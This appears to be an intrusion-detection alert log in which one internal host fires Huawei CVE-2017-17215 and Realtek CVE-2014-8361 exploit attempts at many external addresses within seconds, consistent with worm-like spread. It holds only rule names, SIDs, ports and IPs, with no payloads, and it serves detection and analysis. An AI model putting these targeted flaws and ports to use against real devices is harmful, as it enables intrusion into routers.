Timestamp:	07/20/24-23:05:46.887652
SID:	2025132
Source Port:	51640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.207.111.205

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	48374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 185.61.229.112

Timestamp:	07/20/24-23:05:47.460092
SID:	2025132
Source Port:	38986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.22.217.152

Timestamp:	07/20/24-23:05:47.534459
SID:	2829579
Source Port:	33028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.11.232.255

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	57550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 137.36.77.53

Timestamp:	07/20/24-23:05:47.352554
SID:	2025132
Source Port:	55982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 149.223.236.152

Timestamp:	07/20/24-23:05:51.423446
SID:	2027339
Source Port:	38286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.120.22.24

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.167.144.230

Timestamp:	07/20/24-23:05:56.994750
SID:	2027339
Source Port:	33972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.111.143.113

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	42364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.167.144.230

Timestamp:	07/20/24-23:05:56.994750
SID:	2025132
Source Port:	33972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.128.221.242

Timestamp:	07/20/24-23:05:46.991466
SID:	2835222
Source Port:	32794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 36.180.172.129

Timestamp:	07/20/24-23:05:46.332473
SID:	2025132
Source Port:	43168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.32.42.40

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	42098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.229.96.227

Timestamp:	07/20/24-23:05:51.418855
SID:	2027339
Source Port:	39650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.197.131.13

Timestamp:	07/20/24-23:05:52.311537
SID:	2835222
Source Port:	46240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 46.81.190.204

Timestamp:	07/20/24-23:05:47.468642
SID:	2025132
Source Port:	58708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.60.208.210

Timestamp:	07/20/24-23:05:51.419676
SID:	2027339
Source Port:	60322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.15.204.183

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	49112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 69.105.43.224

Timestamp:	07/20/24-23:05:51.420131
SID:	2831300
Source Port:	53410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.8.6

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	47838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.38.107

Timestamp:	07/20/24-23:05:46.929085
SID:	2835222
Source Port:	59746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 66.56.180.47

Timestamp:	07/20/24-23:05:51.418388
SID:	2027339
Source Port:	60490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 107.96.10.112

Timestamp:	07/20/24-23:05:47.439397
SID:	2025132
Source Port:	58896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 134.55.152.47

Timestamp:	07/20/24-23:05:47.333295
SID:	2025132
Source Port:	49020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 137.36.77.53

Timestamp:	07/20/24-23:05:47.352554
SID:	2027339
Source Port:	55982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.102.77.146

Timestamp:	07/20/24-23:05:47.535868
SID:	2829579
Source Port:	58852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 166.105.157.19

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	41578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.224.21.158

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	33734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.241.212.180

Timestamp:	07/20/24-23:05:46.982455
SID:	2835222
Source Port:	41472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.216.169.243

Timestamp:	07/20/24-23:05:51.426840
SID:	2027339
Source Port:	49144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.238.74

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	49848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.3.242.5

Timestamp:	07/20/24-23:05:51.421136
SID:	2027339
Source Port:	40132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 103.184.127.83

Timestamp:	07/20/24-23:05:54.693958
SID:	2025132
Source Port:	47216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 155.180.4.142

Timestamp:	07/20/24-23:05:51.418537
SID:	2831300
Source Port:	50660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.157.23

Timestamp:	07/20/24-23:05:47.535438
SID:	2835222
Source Port:	36192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.169.205.203

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	44686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 66.105.78.156

Timestamp:	07/20/24-23:05:47.485791
SID:	2025132
Source Port:	59960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 185.61.229.112

Timestamp:	07/20/24-23:05:47.460092
SID:	2027339
Source Port:	38986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 44.60.208.210

Timestamp:	07/20/24-23:05:51.419676
SID:	2831300
Source Port:	60322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.201.224.129

Timestamp:	07/20/24-23:05:51.487087
SID:	2027339
Source Port:	45636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.35.15

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.17.189.116

Timestamp:	07/20/24-23:05:46.887652
SID:	2027339
Source Port:	51640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.176.89.70

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	40840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.134.229

Timestamp:	07/20/24-23:05:47.543163
SID:	2835222
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.249.186.160

Timestamp:	07/20/24-23:05:47.533361
SID:	2829579
Source Port:	43072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.164.234.103

Timestamp:	07/20/24-23:05:46.922964
SID:	2829579
Source Port:	60092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.150.87.191

Timestamp:	07/20/24-23:05:51.431946
SID:	2027339
Source Port:	39790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.151.6.113

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.26.166.115

Timestamp:	07/20/24-23:05:46.395067
SID:	2027339
Source Port:	41922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.158.242

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	50558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.210.143.52

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	43256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 204.151.222.243

Timestamp:	07/20/24-23:05:46.736426
SID:	2025132
Source Port:	48900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.205.84.200

Timestamp:	07/20/24-23:05:46.762666
SID:	2027339
Source Port:	39478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 107.96.10.112

Timestamp:	07/20/24-23:05:47.439397
SID:	2027339
Source Port:	58896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 137.36.77.53

Timestamp:	07/20/24-23:05:51.419963
SID:	2831300
Source Port:	56680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.9.181

Timestamp:	07/20/24-23:05:46.966276
SID:	2829579
Source Port:	35614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.31.112.192

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	40168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.252.168.133

Timestamp:	07/20/24-23:05:56.920979
SID:	2027339
Source Port:	42410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.48.49.198

Timestamp:	07/20/24-23:05:46.746802
SID:	2025132
Source Port:	59186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.227.128.193

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	47908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.95.69.134

Timestamp:	07/20/24-23:05:51.419676
SID:	2027339
Source Port:	55300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 150.159.12.246

Timestamp:	07/20/24-23:05:47.535868
SID:	2829579
Source Port:	55710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.25.100

Timestamp:	07/20/24-23:05:47.535438
SID:	2835222
Source Port:	57804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 195.235.63.144

Timestamp:	07/20/24-23:05:51.421493
SID:	2027339
Source Port:	43208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.225.90.79

Timestamp:	07/20/24-23:05:52.261192
SID:	2835222
Source Port:	32970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 198.139.127.65

Timestamp:	07/20/24-23:05:51.487087
SID:	2831300
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.217.35.174

Timestamp:	07/20/24-23:05:52.311536
SID:	2835222
Source Port:	52402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.54.113

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	37062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.135.46.253

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	38376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 66.56.180.47

Timestamp:	07/20/24-23:05:51.418388
SID:	2831300
Source Port:	60490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 66.105.78.156

Timestamp:	07/20/24-23:05:47.485791
SID:	2027339
Source Port:	59960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 201.57.227.248

Timestamp:	07/20/24-23:05:51.423445
SID:	2831300
Source Port:	42810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.153.97

Timestamp:	07/20/24-23:05:46.912774
SID:	2835222
Source Port:	40344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.86.68

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	33476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.168.183.88

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	56660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.134.249.120

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	52282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.95.140.123

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	44620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.131.198

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	35002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.46.239.156

Timestamp:	07/20/24-23:05:47.534459
SID:	2829579
Source Port:	54520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.151.222.243

Timestamp:	07/20/24-23:05:46.736426
SID:	2027339
Source Port:	48900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.205.84.200

Timestamp:	07/20/24-23:05:46.762666
SID:	2025132
Source Port:	39478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.18.75.134

Timestamp:	07/20/24-23:05:47.534849
SID:	2835222
Source Port:	52920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 120.175.39.130

Timestamp:	07/20/24-23:05:56.914843
SID:	2025132
Source Port:	58694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.5.59.32

Timestamp:	07/20/24-23:05:46.961659
SID:	2835222
Source Port:	54004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.87.142

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	53842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 124.62.99.179

Timestamp:	07/20/24-23:05:46.306652
SID:	2025132
Source Port:	49468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 205.216.169.243

Timestamp:	07/20/24-23:05:51.426840
SID:	2831300
Source Port:	49144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.11.194

Timestamp:	07/20/24-23:05:46.982455
SID:	2829579
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 112.252.168.133

Timestamp:	07/20/24-23:05:56.920979
SID:	2025132
Source Port:	42410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.41.252

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	38096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 73.83.129.52

Timestamp:	07/20/24-23:05:51.418934
SID:	2831300
Source Port:	35100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 8.26.166.115

Timestamp:	07/20/24-23:05:46.395067
SID:	2025132
Source Port:	41922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.48.49.198

Timestamp:	07/20/24-23:05:46.746802
SID:	2027339
Source Port:	59186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.141.223.93

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	42838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.120.68.241

Timestamp:	07/20/24-23:05:46.978420
SID:	2829579
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 108.64.120.4

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	51454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.125.186.30

Timestamp:	07/20/24-23:05:51.419676
SID:	2027339
Source Port:	46960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.43.53

Timestamp:	07/20/24-23:05:46.973669
SID:	2829579
Source Port:	50186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.163.226.171

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.141.223.93

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	42838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

